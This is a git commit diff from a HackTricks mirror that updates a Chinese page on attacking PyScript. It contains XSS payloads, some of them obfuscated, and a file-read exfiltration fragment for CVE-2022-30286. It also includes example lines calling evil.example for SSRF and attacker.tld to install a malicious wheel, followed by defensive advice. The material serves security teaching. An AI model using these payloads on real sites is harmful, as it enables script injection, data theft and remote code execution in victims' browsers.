mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/pyscript.md'
This commit is contained in:
parent
c00c09fe47
commit
764109c8d8
@ -10,7 +10,7 @@ PyScript 是一个新框架,旨在将 Python 集成到 HTML 中,因此可以
|
|||||||
|
|
||||||
`CVE ID: CVE-2022-30286`\
|
`CVE ID: CVE-2022-30286`\
|
||||||
\
|
\
|
||||||
代码:
|
代码:
|
||||||
```html
|
```html
|
||||||
<py-script>
|
<py-script>
|
||||||
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
|
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
|
||||||
@ -47,9 +47,9 @@ body: JSON.stringify({ content: btoa(console.logs) }),
|
|||||||
```
|
```
|
||||||

|

|
||||||
|
|
||||||
### 跨站脚本攻击(普通)
|
### 跨站脚本攻击 (普通)
|
||||||
|
|
||||||
代码:
|
Code:
|
||||||
```python
|
```python
|
||||||
<py-script>
|
<py-script>
|
||||||
print("<img src=x onerror='alert(document.domain)'>")
|
print("<img src=x onerror='alert(document.domain)'>")
|
||||||
@ -57,9 +57,9 @@ print("<img src=x onerror='alert(document.domain)'>")
|
|||||||
```
|
```
|
||||||

|

|
||||||
|
|
||||||
### 跨站脚本攻击 (Python 混淆)
|
### 跨站脚本攻击 (Python 混淆)
|
||||||
|
|
||||||
代码:
|
Code:
|
||||||
```python
|
```python
|
||||||
<py-script>
|
<py-script>
|
||||||
sur = "\u0027al";fur = "e";rt = "rt"
|
sur = "\u0027al";fur = "e";rt = "rt"
|
||||||
@ -75,10 +75,10 @@ print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
|
|||||||
|
|
||||||
### 跨站脚本攻击 (JavaScript 混淆)
|
### 跨站脚本攻击 (JavaScript 混淆)
|
||||||
|
|
||||||
代码:
|
Code:
|
||||||
```html
|
```html
|
||||||
<py-script>
|
<py-script>
|
||||||
prinht("
|
prinht(""
|
||||||
<script>
|
<script>
|
||||||
var _0x3675bf = _0x5cf5
|
var _0x3675bf = _0x5cf5
|
||||||
function _0x5cf5(_0xced4e9, _0x1ae724) {
|
function _0x5cf5(_0xced4e9, _0x1ae724) {
|
||||||
@ -140,7 +140,7 @@ return _0x34a15f
|
|||||||
return _0x599c()
|
return _0x599c()
|
||||||
}
|
}
|
||||||
</script>
|
</script>
|
||||||
")
|
"")
|
||||||
</py-script>
|
</py-script>
|
||||||
```
|
```
|
||||||

|

|
||||||
@ -154,8 +154,64 @@ while True:
|
|||||||
print(" ")
|
print(" ")
|
||||||
</py-script>
|
</py-script>
|
||||||
```
|
```
|
||||||
结果:
|
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 新的漏洞与技术 (2023-2025)
|
||||||
|
|
||||||
|
### 通过不受控制的重定向进行的服务器端请求伪造 (CVE-2025-50182)
|
||||||
|
|
||||||
|
`urllib3 < 2.5.0` 在 **PyScript 附带的 Pyodide 运行时** 中执行时忽略 `redirect` 和 `retries` 参数。当攻击者能够影响目标 URL 时,他们可能会强迫 Python 代码遵循跨域重定向,即使开发者明确禁用了它们 ‑ 有效地绕过了反 SSRF 逻辑。
|
||||||
|
```html
|
||||||
|
<script type="py">
|
||||||
|
import urllib3
|
||||||
|
http = urllib3.PoolManager(retries=False, redirect=False) # supposed to block redirects
|
||||||
|
r = http.request("GET", "https://evil.example/302") # will STILL follow the 302
|
||||||
|
print(r.status, r.url)
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
在 `urllib3 2.5.0` 中修复 - 在您的 PyScript 镜像中升级该包或在 `packages = ["urllib3>=2.5.0"]` 中固定安全版本。有关详细信息,请参阅官方 CVE 条目。
|
||||||
|
|
||||||
|
### 任意包加载与供应链攻击
|
||||||
|
|
||||||
|
由于 PyScript 允许在 `packages` 列表中使用任意 URL,能够修改或注入配置的恶意行为者可以在受害者的浏览器中执行 **完全任意的 Python**:
|
||||||
|
```html
|
||||||
|
<py-config>
|
||||||
|
packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"]
|
||||||
|
</py-config>
|
||||||
|
<script type="py">
|
||||||
|
import payload # executes attacker-controlled code during installation
|
||||||
|
</script>
|
||||||
|
```
|
||||||
|
*仅需要纯Python轮子 - 不需要WebAssembly编译步骤。* 确保配置不是用户控制的,并在您自己的域上使用HTTPS和SRI哈希托管受信任的轮子。
|
||||||
|
|
||||||
|
### 输出清理更改 (2023+)
|
||||||
|
|
||||||
|
* `print()` 仍然会注入原始HTML,因此容易受到XSS攻击(上面的示例)。
|
||||||
|
* 更新的 `display()` 辅助工具 **默认情况下会转义HTML** - 原始标记必须包装在 `pyscript.HTML()` 中。
|
||||||
|
```python
|
||||||
|
from pyscript import display, HTML
|
||||||
|
|
||||||
|
display("<b>escaped</b>") # renders literally
|
||||||
|
|
||||||
|
display(HTML("<b>not-escaped</b>")) # executes as HTML -> potential XSS if untrusted
|
||||||
|
```
|
||||||
|
这种行为是在2023年引入的,并在官方内置指南中有记录。依赖 `display()` 处理不受信任的输入,避免直接调用 `print()`。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 防御最佳实践
|
||||||
|
|
||||||
|
* **保持软件包更新** – 升级到 `urllib3 >= 2.5.0`,并定期重建与网站一起发布的轮子。
|
||||||
|
* **限制软件包来源** – 仅引用 PyPI 名称或同源 URL,理想情况下使用子资源完整性 (SRI) 进行保护。
|
||||||
|
* **加强内容安全策略** – 不允许内联 JavaScript (`script-src 'self' 'sha256-…'`),以便注入的 `<script>` 块无法执行。
|
||||||
|
* **不允许用户提供的 `<py-script>` / `<script type="py">` 标签** – 在服务器上清理 HTML,然后再回显给其他用户。
|
||||||
|
* **隔离工作者** – 如果不需要从工作者同步访问 DOM,请启用 `sync_main_only` 标志,以避免 `SharedArrayBuffer` 头部要求。
|
||||||
|
|
||||||
|
## 参考文献
|
||||||
|
|
||||||
|
* [NVD – CVE-2025-50182](https://nvd.nist.gov/vuln/detail/CVE-2025-50182)
|
||||||
|
* [PyScript 内置文档 – `display` & `HTML`](https://docs.pyscript.net/2024.6.1/user-guide/builtins/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user